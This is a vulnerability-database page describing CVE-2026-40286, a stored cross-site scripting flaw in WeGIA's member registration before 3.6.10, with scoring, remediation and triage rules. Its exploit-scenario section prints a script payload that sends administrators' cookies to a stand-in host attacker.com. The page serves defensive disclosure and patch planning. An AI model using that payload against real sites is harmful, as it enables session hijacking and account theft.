Skip to main content

Wegia CVE-2026-40286

| EUVDEUVD-2026-23531 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-04-17 GitHub_M
7.5
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access member registration page
  2. Delivery
    Submit crafted member record with XSS payload in name field
  3. Exploit
    Payload stored in database
  4. Execution
    Administrator views member list
  5. Persist
    Malicious script executes in admin session
  6. Impact
    Exfiltrate session tokens or perform unauthorized actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the WeGIA instance to expose the 'Cadastrar Sócio' (Member Registration) function to unauthenticated users, which appears to be the default configuration based on the CVSS vector PR:N (no privileges required). Exploitation occurs when any authenticated user (typically administrators or staff) navigates to pages displaying member records where the malicious payload was stored. The vulnerability does NOT require the attacker to be authenticated to inject the payload, but DOES require victim users to view the poisoned data through the web interface. Limiting factor: organizations that have already restricted member registration to authenticated users only would require the attacker to first obtain valid credentials, significantly reducing the attack surface.

Impact

The CVSS 7.5 HIGH score reflects significant integrity impact (I:H) with network-based exploitation requiring no authentication (AV:N/PR:N/UI:N). However, this scoring contains an apparent inconsistency: UI:N (no user interaction) is atypical for XSS vulnerabilities, which inherently require a victim to view the malicious content. The attack vector should likely be UI:R (requires user interaction to view the member record). Real-world risk is moderate-to-high for organizations using WeGIA, as the unauthenticated registration capability combined with stored XSS enables drive-by attacks against administrators reviewing member data. EPSS data not provided, preventing probabilistic exploitation assessment. Not present in CISA KEV, suggesting no confirmed widespread exploitation. The straightforward nature of stored XSS exploitation (AC:L) and availability of a patch in version 3.6.10 make this a clear remediation priority for WeGIA deployments, particularly those exposing member registration to untrusted users. Organizations should verify whether their deployment allows unauthenticated member registration, as this significantly elevates exploitability.

Exploit ScenarioDerived

An attacker submits a member registration with the name field containing '<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>'. When an administrator accesses the member management interface to review pending registrations or member lists, the script executes in their browser session, exfiltrating authentication cookies to the attacker's server. The attacker then uses the stolen session to access administrative functions, modify records, or deploy additional payloads.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Stored Cross-Site Scripting in WeGIA 'Member Registration' function allows remote attackers to inject malicious JavaScript through the 'Member Name' field, achieving persistent code execution in victim browsers without authentication. The payload executes whenever users navigate to affected pages, enabling session hijacking, credential theft, or administrative action execution. Version 3.6.10 provides a vendor-released patch. No public exploit identified at time of analysis, though exploitation is straightforward given the unauthenticated attack vector (CVSS AV:N/PR:N).

RemediationAI

Upgrade to WeGIA version 3.6.10 or later, which contains input validation and output encoding fixes for the Member Name field. The patch is available through the official GitHub repository at https://github.com/LabRedesCefetRJ/WeGIA. If immediate patching is not feasible, implement compensating controls: (1) restrict access to the member registration function to authenticated, trusted users only via web server access controls or application-level permissions - this prevents anonymous attackers from injecting payloads but limits legitimate registration workflows; (2) deploy a Web Application Firewall (WAF) with XSS signature detection to filter script tags in POST requests to registration endpoints - note this is bypassable with encoding techniques and adds latency; (3) implement Content Security Policy (CSP) headers with 'script-src self' to prevent inline JavaScript execution - this may break existing legitimate inline scripts requiring code refactoring. Verify the fix post-upgrade by testing script injection in the Member Name field and confirming proper HTML entity encoding in rendered output.

Affected VersionsENISA

WeGIA < 3.6.10

Affected Packages

euvd wegia fix: 3.6.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WeGIA (Web Manager for Charitable Institutions) is a PHP-based web application developed by LabRedesCefetRJ for managing non-profit organizations. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input in the 'Nome Sócio' (Member Name) database field is not sanitized before storage or output encoding before rendering. This allows JavaScript payloads to persist in the application's database and execute in the context of any user's browser session when viewing member records. The affected component is cpe:2.3:a:labredescefetrj:wegia versions prior to 3.6.10. Unlike reflected XSS, stored XSS persists across sessions and affects all users who view the poisoned data, making it particularly dangerous in multi-user administrative interfaces.

Know when Wegia gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

3
Patch released
Apr 20, 2026 - 19:02 nvd
Patch available
Patch available
Apr 17, 2026 - 21:16 EUVD
CVE Published
Apr 17, 2026 - 20:27 nvd
HIGH 7.5

DescriptionCVE.org

WeGIA is a web manager for charitable institutions. In versions prior to 3.6.10, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the 'Member Registration' (Cadastrar Sócio) function. By injecting a payload into the 'Member Name' (Nome Sócio) field, the script is persistently stored in the database. Consequently, the payload is executed whenever a user navigates to certain URL. Version 3.6.10 fixes the issue.

Executive ViewAI

Why It Matters

CVE-2026-40286 is a stored cross-site scripting vulnerability in WeGIA's member registration function that allows unauthenticated attackers to inject persistent malicious code affecting all users who view compromised pages. This enables credential theft, session hijacking, and unauthorized administrative actions, posing direct risk to user accounts and system integrity across the application.

Business Impact: High
Compensating Controls

Vendor-released patch: WeGIA version 3.6.10. If immediate patching is not feasible, implement strict input validation on the 'Member Name' field (whitelist alphanumeric and safe characters only); apply web application firewall rules to detect and block script injection patterns; disable or restrict member registration functionality until patch deployment; monitor session activity for indicators of credential compromise.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Wegia

View all
CVE-2025-50201 CRITICAL POC
9.8 Jun 19

Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prio

CVE-2025-27140 CRITICAL POC
10.0 Feb 24

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26613 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-55169 CRITICAL POC
10.0 Aug 12

WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical

CVE-2025-30364 CRITICAL POC
10.0 Mar 27

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-46828 CRITICAL POC
10.0 May 07

WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26612 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26617 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26611 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26609 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26608 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26607 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy